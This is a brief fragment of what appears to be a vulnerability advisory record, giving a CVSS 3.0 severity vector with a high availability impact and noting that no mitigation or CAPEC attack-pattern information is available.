"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.